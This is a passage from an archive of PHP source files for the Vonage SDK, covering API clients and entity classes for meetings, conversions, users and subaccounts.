public function fromArray(array $data): void { $this->data = $data; } public function toArray(): array { return $this->data; } public function __get($name) { return $this->data[$name]; } } src/Meetings/ClientFactory.php 0000644 00000001145 15107326701 0012370 0 ustar 00 <?php declare(strict_types=1); namespace Vonage\Meetings; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\KeypairHandler; class ClientFactory { public function __invoke(ContainerInterface $container): Client { /** @var APIResource $api */ $api = $container->make(APIResource::class); $api ->setBaseUrl('https://api-eu.vonage.com/v1/meetings/') ->setExceptionErrorHandler(new ExceptionErrorHandler()) ->setAuthHandler(new KeypairHandler()); return new Client($api); } } src/Meetings/Client.php 0000644 00000025246 15107326701 0011050 0 ustar 00 <?php declare(strict_types=1); namespace Vonage\Meetings; use GuzzleHttp\Psr7\MultipartStream; use Laminas\Diactoros\Request; use Psr\Http\Client\ClientExceptionInterface; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Client\Exception\Exception; use Vonage\Client\Exception\NotFound; use Vonage\Entity\Filter\KeyValueFilter; use Vonage\Entity\Hydrator\ArrayHydrator; class Client implements APIClient { public const IMAGE_TYPES = ['white', 'colored', 'favicon']; public function __construct(protected APIResource $api) { } public function getAPIResource(): APIResource { return $this->api; } public function getRoom(string $id): Room { $this->api->setBaseUri('/rooms'); $response = $this->api->get($id); $room = new Room(); $room->fromArray($response); return $room; } /** * * Creates a room. Originally this was a string with the display name * So there is backwards compatibility cases to cover * * @param $room string|Room * * @return Room * @throws ClientExceptionInterface * @throws Exception */ public function createRoom(Room|string $room): Room { if (is_string($room)) { trigger_error( 'Passing a display name string to createRoom is deprecated, please use a Room object', E_USER_DEPRECATED ); $roomEntity = new Room(); $roomEntity->fromArray(['display_name' => $room]); $room = $roomEntity; } $this->api->setBaseUri('/rooms'); $response = $this->api->create($room->toArray()); $room = new Room(); $room->fromArray($response); return $room; } public function updateRoom(string $id, array $payload): Room { $this->api->setBaseUri('/rooms'); $response = $this->api->partiallyUpdate($id, $payload); $room = new Room(); $room->fromArray($response); return $room; } public function getAllListedRooms(string $start_id = null, string $end_id = null, int $size = 20): array { $filterParams = []; if ($start_id || $end_id) { $start_id ? $filterParams['start_id'] = $start_id : null; $end_id ? $filterParams['end_id'] = $end_id : null; } $response = $this->api->search( $filterParams ? new KeyValueFilter($filterParams) : null, '/rooms', ); $response->setAutoAdvance(false); $response->getApiResource()->setCollectionName('rooms'); $response->setSize($size); $response->setIndex(null); $hydrator = new ArrayHydrator(); $hydrator->setPrototype(new Room()); $response->setHydrator($hydrator); // Currently have to do this until we can extend off the Iterator to handle Meetings data structures $roomPayload = []; foreach ($response as $room) { $roomPayload[] = $room; } return $roomPayload; } public function getRecording(string $id): ?Recording { $this->api->setBaseUri('/recordings'); $response = $this->api->get($id); $recording = new Recording(); $recording->fromArray($response); return $recording; } public function deleteRecording(string $id): bool { $this->api->setBaseUri('/recordings'); $this->api->delete($id); return true; } public function getRecordingsFromSession(string $sessionId): array { $response = $this->api->get('sessions/' . $sessionId . '/recordings'); $recordings = []; foreach ($response as $recording) { $recordingEntity = new Recording(); $recordingEntity->fromArray($recording); $recordings[] = $recordingEntity; } return $recordings; } public function getDialInNumbers(): array { $response = $this->api->get('dial-in-numbers'); $numbers = []; foreach ($response as $dialInNumber) { $dialInEntity = new DialInNumber(); $dialInEntity->fromArray($dialInNumber); $numbers[] = $dialInEntity; } return $numbers; } public function getApplicationThemes(): array { $response = $this->api->get('themes'); $themes = []; foreach ($response as $applicationTheme) { $themeEntity = new ApplicationTheme(); $themeEntity->fromArray($applicationTheme); $themes[] = $themeEntity; } return $themes; } public function createApplicationTheme(string $name): ?ApplicationTheme { $this->api->setBaseUri('/themes'); $response = $this->api->create([ 'theme_name' => $name ]); $applicationTheme = new ApplicationTheme(); $applicationTheme->fromArray($response); return $applicationTheme; } public function getThemeById(string $id): ?ApplicationTheme { $this->api->setBaseUri('/themes'); $response = $this->api->get($id); $applicationTheme = new ApplicationTheme(); $applicationTheme->fromArray($response); return $applicationTheme; } public function deleteTheme(string $id, bool $force = false): bool { $this->api->setBaseUri('/themes'); if ($force) { $id .= '?force=true'; } $this->api->delete($id); return true; } public function updateTheme(string $id, array $payload): ?ApplicationTheme { $this->api->setBaseUri('/themes'); $response = $this->api->partiallyUpdate($id, $payload); $applicationTheme = new ApplicationTheme(); $applicationTheme->fromArray($response); return $applicationTheme; } public function getRoomsByThemeId(string $themeId, string $startId = null, string $endId = null, int $size = 20): array { $this->api->setIsHAL(true); $this->api->setCollectionName('rooms'); if ($startId || $endId) { $filterParams = []; $startId ? $filterParams['start_id'] = $startId : null; $endId ? $filterParams['end_id'] = $endId : null; if ($filterParams) { $response = $this->api->search(new KeyValueFilter($filterParams), '/themes/' . $themeId . '/rooms'); } } else { $response = $this->api->search(null, '/themes/' . $themeId . '/rooms'); } $response->setAutoAdvance(false); $response->setIndex(null); $response->setSize($size); $hydrator = new ArrayHydrator(); $hydrator->setPrototype(new Room()); $response->setHydrator($hydrator); // Currently have to do this until we can extend off the Iterator to handle Meetings data structures $roomPayload = []; foreach ($response as $room) { $roomPayload[] = $room; } return $roomPayload; } public function finalizeLogosForTheme(string $themeId, array $payload): bool { $path = $themeId . '/finalizeLogos'; $this->api->setBaseUri('/themes'); $this->api->update($path, $payload); return true; } public function getUploadUrls(): array { $response = []; $awsUploadObjects = $this->api->get('themes/logos-upload-urls'); foreach ($awsUploadObjects as $routeObject) { $returnObject = new UrlObject(); $returnObject->fromArray($routeObject); $response[] = $returnObject; } return $response; } public function updateApplication(array $payload): ?Application { $response = $this->api->partiallyUpdate('applications', $payload); $application = new Application(); $application->fromArray($response); return $application; } /** * @throws NotFound */ public function returnCorrectUrlEntityFromType(array $uploadUrls, string $type): UrlObject { foreach ($uploadUrls as $urlObject) { if ($urlObject->fields['logoType'] === $type) { return $urlObject; } } throw new NotFound('Could not find correct image type'); } /** * @throws NotFound */ public function uploadImage(string $themeId, string $type, string $file): bool { if (!in_array($type, self::IMAGE_TYPES)) { throw new \InvalidArgumentException('Image type not recognised'); } $urlEntity = $this->returnCorrectUrlEntityFromType($this->getUploadUrls(), $type); $this->uploadToAws($urlEntity, $file); $payload = [ 'keys' => [ $urlEntity->fields['key'] ] ]; $this->finalizeLogosForTheme($themeId, $payload); return true; } public function uploadToAws(UrlObject $awsUrlObject, string $file): bool { $stream = new MultipartStream([ [ 'name' => 'Content-Type', 'contents' => $awsUrlObject->fields['Content-Type'] ], [ 'name' => 'key', 'contents' => $awsUrlObject->fields['key'] ], [ 'name' => 'logoType', 'contents' => $awsUrlObject->fields['logoType'] ], [ 'name' => 'bucket', 'contents' => $awsUrlObject->fields['bucket'] ], [ 'name' => 'X-Amz-Algorithm', 'contents' => $awsUrlObject->fields['X-Amz-Algorithm'] ], [ 'name' => 'X-Amz-Credential', 'contents' => $awsUrlObject->fields['X-Amz-Credential'] ], [ 'name' => 'X-Amz-Date', 'contents' => $awsUrlObject->fields['X-Amz-Date'] ], [ 'name' => 'X-Amz-Security-Token', 'contents' => $awsUrlObject->fields['X-Amz-Security-Token'] ], [ 'name' => 'Policy', 'contents' => $awsUrlObject->fields['Policy'] ], [ 'name' => 'X-Amz-Signature', 'contents' => $awsUrlObject->fields['X-Amz-Signature'] ], [ 'name' => 'file', 'contents' => $file ] ]); $awsRequest = new Request($awsUrlObject->url, 'PUT', $stream); $awsRequest = $awsRequest->withHeader('Content-Type', 'multipart/form-data'); $httpClient = $this->api->getClient()->getHttpClient(); $httpClient->sendRequest($awsRequest); return true; } } src/Meetings/ExceptionErrorHandler.php 0000644 00000001404 15107326702 0014067 0 ustar 00 <?php declare(strict_types=1); namespace Vonage\Meetings; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use Vonage\Client\Exception\Conflict; use Vonage\Client\Exception\Credentials; use Vonage\Client\Exception\NotFound; use Vonage\Client\Exception\Validation; class ExceptionErrorHandler { public function __invoke(ResponseInterface $response, RequestInterface $request): void { match ($response->getStatusCode()) { 400 => throw new Validation('The request data was invalid'), 403 => throw new Credentials('You are not authorised to perform this request'), 404 => throw new NotFound('No resource found'), 409 => throw new Conflict('Entity conflict') }; } } src/Meetings/ApplicationTheme.php 0000644 00000000645 15107326702 0013055 0 ustar 00 <?php namespace Vonage\Meetings; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class ApplicationTheme implements ArrayHydrateInterface { private array $data; public function fromArray(array $data): void { $this->data = $data; } public function toArray(): array { return $this->data; } public function __get($name) { return $this->data[$name]; } } src/Meetings/Room.php 0000644 00000001242 15107326702 0010535 0 ustar 00 <?php namespace Vonage\Meetings; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class Room implements ArrayHydrateInterface { protected array $data; public function fromArray(array $data): static { if (!isset($data['display_name'])) { throw new \InvalidArgumentException('A room object must contain a display_name'); } $this->data = $data; return $this; } public function toArray(): array { return array_filter($this->data, static function ($value) { return $value !== ''; }); } public function __get($value) { return $this->data[$value]; } } src/Meetings/Recording.php 0000644 00000000636 15107326702 0011543 0 ustar 00 <?php namespace Vonage\Meetings; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class Recording implements ArrayHydrateInterface { private array $data; public function fromArray(array $data): void { $this->data = $data; } public function toArray(): array { return $this->data; } public function __get($name) { return $this->data[$name]; } } src/Meetings/Application.php 0000644 00000000640 15107326703 0012066 0 ustar 00 <?php namespace Vonage\Meetings; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class Application implements ArrayHydrateInterface { private array $data; public function fromArray(array $data): void { $this->data = $data; } public function toArray(): array { return $this->data; } public function __get($name) { return $this->data[$name]; } } src/Logger/LoggerTrait.php 0000644 00000001314 15107326703 0011511 0 ustar 00 <?php namespace Vonage\Logger; use Psr\Log\LoggerInterface; trait LoggerTrait { /** * @var LoggerInterface */ protected $logger; public function getLogger(): ?LoggerInterface { return $this->logger; } /** * @param string|int $level Level of message that we are logging * @param array<mixed> $context Additional information for context */ public function log($level, string $message, array $context = []): void { $logger = $this->getLogger(); if ($logger) { $logger->log($level, $message, $context); } } public function setLogger(LoggerInterface $logger) { $this->logger = $logger; } } src/Logger/LoggerAwareInterface.php 0000644 00000000734 15107326703 0013313 0 ustar 00 <?php namespace Vonage\Logger; use Psr\Log\LoggerInterface; interface LoggerAwareInterface { public function getLogger(): ?LoggerInterface; /** * @param string|int $level Level of message that we are logging * @param array<mixed> $context Additional information for context */ public function log($level, string $message, array $context = []): void; /** * @return self */ public function setLogger(LoggerInterface $logger); } src/Conversion/ClientFactory.php 0000644 00000001373 15107326703 0012747 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Conversion; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\BasicHandler; /** * @todo Finish this Namespace */ class ClientFactory { public function __invoke(ContainerInterface $container): Client { /** @var APIResource $api */ $api = $container->make(APIResource::class); $api->setBaseUri('/conversions/'); $api->setAuthHandler(new BasicHandler()); return new Client($api); } } src/Conversion/Client.php 0000644 00000006730 15107326703 0011421 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Conversion; use Psr\Http\Client\ClientExceptionInterface; use Psr\Http\Message\ResponseInterface; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Client\ClientAwareInterface; use Vonage\Client\ClientAwareTrait; use Vonage\Client\Exception as ClientException; use function http_build_query; use function is_null; use function json_decode; class Client implements ClientAwareInterface, APIClient { use ClientAwareTrait; public function __construct(protected ?APIResource $api = null) { } public function getAPIResource(): APIResource { return $this->api; } /** * @param $message_id * @param $delivered * @param $timestamp * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function sms($message_id, $delivered, $timestamp = null): void { $this->sendConversion('sms', $message_id, $delivered, $timestamp); } /** * @param $message_id * @param $delivered * @param $timestamp * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server */ public function voice($message_id, $delivered, $timestamp = null): void { $this->sendConversion('voice', $message_id, $delivered, $timestamp); } /** * @param $type * @param $message_id * @param $delivered * @param $timestamp * * @throws ClientException\Exception * @throws ClientException\Request * @throws ClientException\Server * @throws ClientExceptionInterface */ protected function sendConversion($type, $message_id, $delivered, $timestamp = null): void { $params = [ 'message-id' => $message_id, 'delivered' => $delivered ]; if ($timestamp) { $params['timestamp'] = $timestamp; } $uri = $type . '?' . http_build_query($params); $this->getAPIResource()->create([], $uri); $response = $this->getAPIResource()->getLastResponse(); if (null === $response || (int)$response->getStatusCode() !== 200) { throw $this->getException($response); } } /** * @return ClientException\Exception|ClientException\Request|ClientException\Server */ protected function getException(ResponseInterface $response) { $body = json_decode($response->getBody()->getContents(), true); $status = (int)$response->getStatusCode(); if ($status === 402) { $e = new ClientException\Request('This endpoint may need activating on your account. ' . '"Please email support@Vonage.com for more information', $status); } elseif ($status >= 400 && $status < 500) { $e = new ClientException\Request($body['error_title'], $status); } elseif ($status >= 500 && $status < 600) { $e = new ClientException\Server($body['error_title'], $status); } else { $e = new ClientException\Exception('Unexpected HTTP Status Code (' . $status . ')'); } return $e; } } src/Users/Filter/UserFilter.php 0000644 00000003027 15107326703 0012464 0 ustar 00 <?php declare(strict_types=1); namespace Vonage\Users\Filter; use InvalidArgumentException; use Vonage\Entity\Filter\FilterInterface; class UserFilter implements FilterInterface { public const ORDER_ASC = 'asc'; public const ORDER_DESC = 'desc'; protected ?int $pageSize = null; protected ?string $order = null; protected ?string $cursor = null; public function getQuery(): array { $query = []; if ($this->pageSize !== null) { $query['page_size'] = $this->getPageSize(); } if ($this->order !== null) { $query['order'] = $this->getOrder(); } if ($this->cursor !== null) { $query['cursor'] = $this->getCursor(); } return $query; } public function getPageSize(): int { return $this->pageSize; } public function setPageSize(int $pageSize): static { $this->pageSize = $pageSize; return $this; } public function getOrder(): string { return $this->order; } public function setOrder(string $order): static { if ($order !== self::ORDER_ASC && $order !== self::ORDER_DESC) { throw new InvalidArgumentException('Order must be `asc` or `desc`'); } $this->order = $order; return $this; } public function getCursor(): ?string { return $this->cursor; } public function setCursor(?string $cursor): static { $this->cursor = $cursor; return $this; } } src/Users/ClientFactory.php 0000644 00000001221 15107326703 0011713 0 ustar 00 <?php declare(strict_types=1); namespace Vonage\Users; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\KeypairHandler; use Vonage\Entity\Hydrator\ArrayHydrator; class ClientFactory { public function __invoke(ContainerInterface $container): Client { $api = $container->make(APIResource::class); $api ->setBaseUri('/v1/users') ->setCollectionName('users') ->setAuthHandler(new KeypairHandler()); $hydrator = new ArrayHydrator(); $hydrator->setPrototype(new User()); return new Client($api, $hydrator); } } src/Users/Client.php 0000644 00000004034 15107326704 0010371 0 ustar 00 <?php declare(strict_types=1); namespace Vonage\Users; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Client\ClientAwareInterface; use Vonage\Client\ClientAwareTrait; use Vonage\Client\Exception\Exception as ClientException; use Vonage\Entity\Filter\EmptyFilter; use Vonage\Entity\Hydrator\HydratorInterface; use Vonage\Entity\IterableAPICollection; use Vonage\Entity\Filter\FilterInterface; use Vonage\Users\Filter\UserFilter; use function is_null; class Client implements ClientAwareInterface, APIClient { use ClientAwareTrait; public function __construct(protected APIResource $api, protected ?HydratorInterface $hydrator = null) { } public function getApiResource(): APIResource { return $this->api; } public function listUsers(FilterInterface $filter = null): IterableAPICollection { if (is_null($filter)) { $filter = new EmptyFilter(); } $response = $this->api->search($filter); $response->setHydrator($this->hydrator); $response->setPageSizeKey('page_size'); $response->setHasPagination(false); return $response; } public function createUser(User $user): User { $response = $this->api->create($user->toArray()); return $this->hydrator->hydrate($response); } public function getUser(string $id): User { $response = $this->api->get($id); return $this->hydrator->hydrate($response); return $returnUser; } public function updateUser(User $user): User { if (is_null($user->getId())) { throw new \InvalidArgumentException('User must have an ID set'); } $response = $this->api->partiallyUpdate($user->getId(), $user->toArray()); return $this->hydrator->hydrate($response); } public function deleteUser(string $id): bool { try { $this->api->delete($id); return true; } catch (ClientException $exception) { return false; } } } src/Users/User.php 0000644 00000006727 15107326704 0010104 0 ustar 00 <?php namespace Vonage\Users; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class User implements ArrayHydrateInterface { protected ?string $id = null; protected ?string $name = null; protected ?string $displayName = null; protected ?string $imageUrl = null; protected ?array $properties = null; protected ?array $channels = null; protected ?string $selfLink = null; public function getId(): ?string { return $this->id; } public function setId(string $id): static { $this->id = $id; return $this; } public function getName(): ?string { return $this->name; } public function setName(string $name): static { $this->name = $name; return $this; } public function getDisplayName(): ?string { return $this->displayName; } public function setDisplayName(string $displayName): static { $this->displayName = $displayName; return $this; } public function getImageUrl(): ?string { return $this->imageUrl; } public function setImageUrl(string $imageUrl): static { $this->imageUrl = $imageUrl; return $this; } public function getProperties(): ?array { return $this->properties; } public function setProperties(array $properties): static { $this->properties = $properties; return $this; } public function getChannels(): array { return $this->channels; } public function setChannels(array $channels): static { $this->channels = $channels; return $this; } public function getSelfLink(): ?string { return $this->selfLink; } public function setSelfLink(string $selfLink): static { $this->selfLink = $selfLink; return $this; } public function fromArray(array $data): static { if (isset($data['id'])) { $this->setId($data['id']); } if (isset($data['name'])) { $this->setName($data['name']); } if (isset($data['display_name'])) { $this->setDisplayName($data['display_name']); } if (isset($data['image_url'])) { $this->setImageUrl($data['image_url']); } if (isset($data['properties'])) { $this->setProperties($data['properties']); } if (isset($data['channels'])) { $this->setChannels($data['channels']); } if (isset($data['_links']['self']['href'])) { $this->setSelfLink($data['_links']['self']['href']); } return $this; } public function toArray(): array { $data = []; if ($this->id !== null) { $data['id'] = $this->getId(); } if ($this->name !== null) { $data['name'] = $this->getName(); } if ($this->displayName !== null) { $data['display_name'] = $this->getDisplayName(); } if ($this->imageUrl !== null) { $data['image_url'] = $this->getImageUrl(); } if ($this->properties !== null) { $data['properties'] = $this->getProperties(); } if ($this->channels !== null) { $data['channels'] = $this->getChannels(); } if ($this->selfLink !== null) { $data['_links']['self']['href'] = $this->getSelfLink(); } return $data; } } src/Subaccount/Filter/SubaccountFilter.php 0000644 00000004363 15107326704 0014666 0 ustar 00 <?php namespace Vonage\Subaccount\Filter; use Vonage\Client\Exception\Request; use Vonage\Entity\Filter\FilterInterface; class SubaccountFilter implements FilterInterface { public string $startDate = ''; public ?string $endDate = null; public ?string $subaccount = null; public static array $possibleParameters = [ 'start_date', 'end_date', 'subaccount' ]; public function __construct(array $filterValues) { foreach ($filterValues as $key => $value) { if (! in_array($key, self::$possibleParameters, true)) { throw new Request($value . ' is not a valid value'); } if (!is_string($value)) { throw new Request($value . ' is not a string'); } } if (array_key_exists('start_date', $filterValues)) { $this->setStartDate($filterValues['start_date']); } if ($this->startDate === '') { $this->startDate = date('Y-m-d'); } if (array_key_exists('end_date', $filterValues)) { $this->setEndDate($filterValues['end_date']); } if (array_key_exists('subaccount', $filterValues)) { $this->setSubaccount($filterValues['subaccount']); } } public function getQuery() { $data = []; if ($this->getStartDate()) { $data['start_date'] = $this->getStartDate(); } if ($this->getEndDate()) { $data['end_date'] = $this->getEndDate(); } if ($this->getSubaccount()) { $data['subaccount'] = $this->getSubaccount(); } return $data; } public function getEndDate(): ?string { return $this->endDate; } public function setEndDate(?string $endDate): void { $this->endDate = $endDate; } public function getStartDate(): ?string { return $this->startDate; } public function setStartDate(?string $startDate): void { $this->startDate = $startDate; } public function getSubaccount(): ?string { return $this->subaccount; } public function setSubaccount(?string $subaccount): void { $this->subaccount = $subaccount; } } src/Subaccount/ClientFactory.php 0000644 00000001053 15107326704 0012724 0 ustar 00 <?php namespace Vonage\Subaccount; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\BasicHandler; use Vonage\Client\Credentials\Handler\KeypairHandler; use Vonage\Verify2\Client; class ClientFactory { public function __invoke(ContainerInterface $container): Client { $api = $container->make(APIResource::class); $api->setIsHAL(true) ->setErrorsOn200(false) ->setBaseUrl('https://api.nexmo.com/accounts'); return new Client($api); } } src/Subaccount/Client.php 0000644 00000010227 15107326704 0011377 0 ustar 00 <?php declare(strict_types=1); namespace Vonage\Subaccount; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Entity\Filter\EmptyFilter; use Vonage\Entity\Filter\FilterInterface; use Vonage\Entity\Hydrator\ArrayHydrator; use Vonage\Subaccount\Request\NumberTransferRequest; use Vonage\Subaccount\Request\TransferBalanceRequest; use Vonage\Subaccount\Request\TransferCreditRequest; use Vonage\Subaccount\SubaccountObjects\Account; use Vonage\Subaccount\SubaccountObjects\BalanceTransfer; use Vonage\Subaccount\SubaccountObjects\CreditTransfer; class Client implements APIClient { public const PRIMARY_ACCOUNT_ARRAY_KEY = 'primary_account'; public function __construct(protected APIResource $api) { } public function getAPIResource(): APIResource { return $this->api; } public function getPrimaryAccount(string $apiKey): Account { $response = $this->api->get($apiKey . '/subaccounts'); return (new Account())->fromArray($response['_embedded'][self::PRIMARY_ACCOUNT_ARRAY_KEY]); } public function getSubaccount(string $apiKey, string $subaccountApiKey): Account { $response = $this->api->get($apiKey . '/subaccounts/' . $subaccountApiKey); return (new Account())->fromArray($response); } public function getSubaccounts(string $apiKey): array { $api = clone $this->api; $api->setCollectionName('subaccounts'); $collection = $this->api->search(null, '/' . $apiKey . '/subaccounts'); $collection->setNoQueryParameters(true); $hydrator = new ArrayHydrator(); $hydrator->setPrototype(new Account()); $subaccounts = $collection->getPageData()['_embedded'][$api->getCollectionName()]; return array_map(function ($item) use ($hydrator) { return $hydrator->hydrate($item); }, $subaccounts); } public function createSubaccount(string $apiKey, Account $account): ?array { return $this->api->create($account->toArray(), '/' . $apiKey . '/subaccounts'); } public function makeBalanceTransfer(TransferBalanceRequest $transferRequest): BalanceTransfer { $response = $this->api->create($transferRequest->toArray(), '/' . $transferRequest->getApiKey() . '/balance-transfers'); return (new BalanceTransfer())->fromArray($response); } public function makeCreditTransfer(TransferCreditRequest $transferRequest): CreditTransfer { $response = $this->api->create($transferRequest->toArray(), '/' . $transferRequest->getApiKey() . '/credit-transfers'); return (new CreditTransfer())->fromArray($response); } public function updateSubaccount(string $apiKey, string $subaccountApiKey, Account $account): ?array { return $this->api->partiallyUpdate($apiKey . '/subaccounts/' . $subaccountApiKey, $account->toArray()); } public function getCreditTransfers(string $apiKey, FilterInterface $filter = null): mixed { if (!$filter) { $filter = new EmptyFilter(); } $response = $this->api->get($apiKey . '/credit-transfers', $filter->getQuery()); $hydrator = new ArrayHydrator(); $hydrator->setPrototype(new CreditTransfer()); $transfers = $response['_embedded']['credit_transfers']; return array_map(function ($item) use ($hydrator) { return $hydrator->hydrate($item); }, $transfers); } public function getBalanceTransfers(string $apiKey, FilterInterface $filter = null): mixed { if (!$filter) { $filter = new EmptyFilter(); } $response = $this->api->get($apiKey . '/balance-transfers', $filter->getQuery()); $hydrator = new ArrayHydrator(); $hydrator->setPrototype(new BalanceTransfer()); $transfers = $response['_embedded']['balance_transfers']; return array_map(function ($item) use ($hydrator) { return $hydrator->hydrate($item); }, $transfers); } public function makeNumberTransfer(NumberTransferRequest $request): ?array { return $this->api->create($request->toArray(), '/' . $request->getApiKey() . '/transfer-number'); } } src/Subaccount/SubaccountObjects/BalanceTransfer.php 0000644 00000005222 15107326705 0016633 0 ustar 00 <?php declare(strict_types=1); namespace Vonage\Subaccount\SubaccountObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class BalanceTransfer implements ArrayHydrateInterface { private string $balanceTransferId; private float $amount; private string $from; private string $to; private string $reference; private string $createdAt; public function getBalanceTransferId(): string { return $this->balanceTransferId; } public function setCreditTransferId(string $balanceTransferId): self { $this->balanceTransferId = $balanceTransferId; return $this; } public function getAmount(): float { return $this->amount; } public function setAmount(float $amount): self { $this->amount = $amount; return $this; } public function getFrom(): string { return $this->from; } public function setFrom(string $from): self { $this->from = $from; return $this; } public function getTo(): string { return $this->to; } public function setTo(string $to): self { $this->to = $to; return $this; } public function getReference(): string { return $this->reference; } public function setReference(string $reference): self { $this->reference = $reference; return $this; } public function getCreatedAt(): string { return $this->createdAt; } public function setCreatedAt(string $createdAt): self { $this->createdAt = $createdAt; return $this; } public function fromArray(array $data): static { if (isset($data['balance_transfer_id'])) { $this->setCreditTransferId($data['balance_transfer_id']); } if (isset($data['amount'])) { $this->setAmount($data['amount']); } if (isset($data['from'])) { $this->setFrom($data['from']); } if (isset($data['to'])) { $this->setTo($data['to']); } if (isset($data['reference'])) { $this->setReference($data['reference']); } if (isset($data['created_at'])) { $this->setCreatedAt($data['created_at']); } return $this; } public function toArray(): array { return [ 'id' => $this->getBalanceTransferId(), 'amount' => $this->getAmount(), 'from' => $this->getFrom(), 'to' => $this->getTo(), 'reference' => $this->getReference(), 'created_at' => $this->getCreatedAt(), ]; } } src/Subaccount/SubaccountObjects/Account.php 0000644 00000011353 15107326705 0015177 0 ustar 00 <?php declare(strict_types=1); namespace Vonage\Subaccount\SubaccountObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class Account implements ArrayHydrateInterface { protected ?string $apiKey = null; protected ?string $name = null; protected ?string $primaryAccountApiKey = null; protected ?bool $usePrimaryAccountBalance = null; protected ?string $createdAt = null; protected ?bool $suspended = null; protected ?float $balance = null; protected ?float $creditLimit = null; protected ?string $secret = null; public function getApiKey(): ?string { return $this->apiKey; } public function setApiKey(?string $apiKey): static { $this->apiKey = $apiKey; return $this; } public function getName(): ?string { return $this->name; } public function setName(?string $name): static { $this->name = $name; return $this; } public function getPrimaryAccountApiKey(): ?string { return $this->primaryAccountApiKey; } public function setPrimaryAccountApiKey(?string $primaryAccountApiKey): static { $this->primaryAccountApiKey = $primaryAccountApiKey; return $this; } public function getUsePrimaryAccountBalance(): ?bool { return $this->usePrimaryAccountBalance; } public function setUsePrimaryAccountBalance(?bool $usePrimaryAccountBalance): static { $this->usePrimaryAccountBalance = $usePrimaryAccountBalance; return $this; } public function getCreatedAt(): ?string { return $this->createdAt; } public function setCreatedAt(?string $createdAt): static { $this->createdAt = $createdAt; return $this; } public function getSuspended(): ?bool { return $this->suspended; } public function setSuspended(?bool $suspended): static { $this->suspended = $suspended; return $this; } public function getBalance(): ?float { return $this->balance; } public function setBalance(?float $balance): static { $this->balance = $balance; return $this; } public function getCreditLimit(): ?float { return $this->creditLimit; } public function setCreditLimit(?float $creditLimit): static { $this->creditLimit = $creditLimit; return $this; } public function toArray(): array { $data = []; if ($this->apiKey !== null) { $data['api_key'] = $this->getApiKey(); } if ($this->name !== null) { $data['name'] = $this->getName(); } if ($this->primaryAccountApiKey !== null) { $data['primary_account_api_key'] = $this->getPrimaryAccountApiKey(); } if ($this->usePrimaryAccountBalance !== null) { $data['use_primary_account_balance'] = $this->getUsePrimaryAccountBalance(); } if ($this->createdAt !== null) { $data['created_at'] = $this->getCreatedAt(); } if ($this->suspended !== null) { $data['suspended'] = $this->getSuspended(); } if ($this->balance !== null) { $data['balance'] = $this->getBalance(); } if ($this->creditLimit !== null) { $data['credit_limit'] = $this->getCreditLimit(); } if ($this->secret !== null) { $data['secret'] = $this->getSecret(); } return $data; } public function fromArray(array $data): static { if (isset($data['api_key'])) { $this->apiKey = $data['api_key']; } if (isset($data['name'])) { $this->name = $data['name']; } if (isset($data['primary_account_api_key'])) { $this->primaryAccountApiKey = $data['primary_account_api_key']; } if (isset($data['use_primary_account_balance'])) { $this->usePrimaryAccountBalance = $data['use_primary_account_balance']; } if (isset($data['created_at'])) { $this->createdAt = $data['created_at']; } if (isset($data['suspended'])) { $this->suspended = $data['suspended']; } if (isset($data['balance'])) { $this->balance = $data['balance']; } if (isset($data['credit_limit'])) { $this->creditLimit = $data['credit_limit']; } if (isset($data['secret'])) { $this->secret = $data['secret']; } return $this; } public function getSecret(): ?string { return $this->secret; } public function setSecret(?string $secret): void { $this->secret = $secret; } } src/Subaccount/SubaccountObjects/CreditTransfer.php 0000644 00000005202 15107326705 0016516 0 ustar 00 <?php declare(strict_types=1); namespace Vonage\Subaccount\SubaccountObjects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class CreditTransfer implements ArrayHydrateInterface { private string $creditTransferId; private float $amount; private string $from; private string $to; private string $reference; private string $createdAt; public function getCreditTransferId(): string { return $this->creditTransferId; } public function setCreditTransferId(string $creditTransferId): self { $this->creditTransferId = $creditTransferId; return $this; } public function getAmount(): float { return $this->amount; } public function setAmount(float $amount): self { $this->amount = $amount; return $this; } public function getFrom(): string { return $this->from; } public function setFrom(string $from): self { $this->from = $from; return $this; } public function getTo(): string { return $this->to; } public function setTo(string $to): self { $this->to = $to; return $this; } public function getReference(): string { return $this->reference; } public function setReference(string $reference): self { $this->reference = $reference; return $this; } public function getCreatedAt(): string { return $this->createdAt; } public function setCreatedAt(string $createdAt): self { $this->createdAt = $createdAt; return $this; } public function fromArray(array $data): static { if (isset($data['credit_transfer_id'])) { $this->setCreditTransferId($data['credit_transfer_id']); } if (isset($data['amount'])) { $this->setAmount($data['amount']); } if (isset($data['from'])) { $this->setFrom($data['from']); } if (isset($data['to'])) { $this->setTo($data['to']); } if (isset($data['reference'])) { $this->setReference($data['reference']); } if (isset($data['created_at'])) { $this->setCreatedAt($data['created_at']); } return $this; } public function toArray(): array { return [ 'id' => 